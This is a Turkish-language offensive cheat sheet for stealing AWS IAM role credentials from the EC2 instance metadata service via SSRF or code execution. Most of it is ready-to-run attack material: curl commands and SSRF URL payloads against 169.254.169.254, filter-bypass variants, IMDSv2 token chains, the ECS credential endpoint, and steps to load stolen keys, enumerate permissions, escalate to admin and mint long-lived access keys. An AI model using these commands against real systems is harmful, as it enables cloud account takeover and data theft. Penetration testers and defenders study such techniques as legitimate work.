Skip to content

AWS — Metadata (IMDS) & SSRF ile Kimlik Hırsızlığı

AWS credential theft

AWS credential theft

EC2 örnekleri, 169.254.169.254 adresindeki Instance Metadata Service (IMDS) üzerinden kendilerine atanmış IAM rolünün geçici kimlik bilgilerini alır. Bir uygulamada SSRF veya RCE varsa, saldırgan bu adrese istek atarak (veya atırarak) rolün anahtarlarını çalıp bulut hesabına sıçrar. Bu, buluttaki en kritik pivot noktalarından biridir (T1552.005).

- SSRF (sunucu 169.254.169.254'e gidebiliyor) veya EC2/container içinde RCE/shell
- IMDSv1 açıksa: tek GET yeterli
- IMDSv2-only ise: PUT + header zinciri veya hop limit / proxy kısıtı analizi
Terminal window
curl -s http://169.254.169.254/latest/user-data
Terminal window
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document
Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>

Diğer faydalı metadata yolları:

Terminal window
curl -s http://169.254.169.254/latest/meta-data/
Terminal window
curl -s http://169.254.169.254/latest/meta-data/ami-id
Terminal window
curl -s http://169.254.169.254/latest/meta-data/hostname
Terminal window
curl -s http://169.254.169.254/latest/meta-data/public-ipv4
Terminal window
curl -s http://169.254.169.254/latest/meta-data/local-ipv4
Terminal window
curl -s http://169.254.169.254/latest/meta-data/network/interfaces/macs/
Terminal window
curl -s ${ECS_CONTAINER_METADATA_URI_V4}/task

SSRF üzerinden (uygulama URL’yi çekiyorsa):

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/rol-adi
http://[::ffff:169.254.169.254]/latest/meta-data/...
http://169.254.169.254.nip.io/...

Kör SSRF’de OAST yerine metadata yanıtını başka kanala taşımak gerekir (ör. webhook’a redirect, DNS exfil değil — yanıt gövdesi lazım).

Terminal window
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Terminal window
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>

IMDSv2, PUT + özel başlık zorunluluğu ve çoğu zaman hop-limit=1 ile basit GET-only SSRF’yi kırar. Yine de:

- RCE / shell varsa: PUT + GET zinciri yerelde yapılır → IMDSv2 aşılır
- SSRF PUT destekliyorsa veya header enjekte edilebiliyorsa → yine aşılır
- Hop limit > 1 ise container/SSRF proxy üzerinden erişim mümkün olabilir
- Eski stack'lerde IMDSv1 hâlâ açık (HttpTokens optional)
Terminal window
curl -s http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
Terminal window
curl -s http://169.254.169.254/latest/user-data | strings
  1. Kimliği yükle — AWS_ACCESS_KEY_ID , AWS_SECRET_ACCESS_KEY , AWS_SESSION_TOKEN ortam değişkenlerini ata (üçü de zorunlu).

  2. Doğrula — aws sts get-caller-identity ; ARN’deki rol adını ve hesabı not al.

  3. Enumerate & privesc — rolün izinlerini çıkar ( enumerate-iam , Pacu), IAM privesc zincirlerini dene; Secrets Manager / S3 / SSM’e geç.

  4. Süreye dikkat — geçici token expire olur; gerekirse aynı SSRF/RCE ile yenile veya uzun ömürlü access key oluştur (yetkin varsa).

Terminal window
export AWS_ACCESS_KEY_ID=ASIA...
Terminal window
export AWS_SECRET_ACCESS_KEY=...
Terminal window
export AWS_SESSION_TOKEN=...
Terminal window
aws sts get-caller-identity
Terminal window
aws iam list-attached-role-policies --role-name <ROL> 2>/dev/null
Terminal window
enumerate-iam --access-key "$AWS_ACCESS_KEY_ID" \
--secret-key "$AWS_SECRET_ACCESS_KEY" --session-token "$AWS_SESSION_TOKEN"

IMDSv1 · credentials

embedded tool
Generated command
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyInstanceRole
Web SSRF (URL fetch)
→ IMDSv1 role creds
→ s3:GetObject + secretsmanager:GetSecretValue
→ DB / ikinci hesap anahtarı
→ PassRole privesc → admin
Container RCE (EKS/ECS)
→ 169.254.169.254 veya ECS credential endpoint
→ node/instance role veya task role
→ cluster / hesap lateral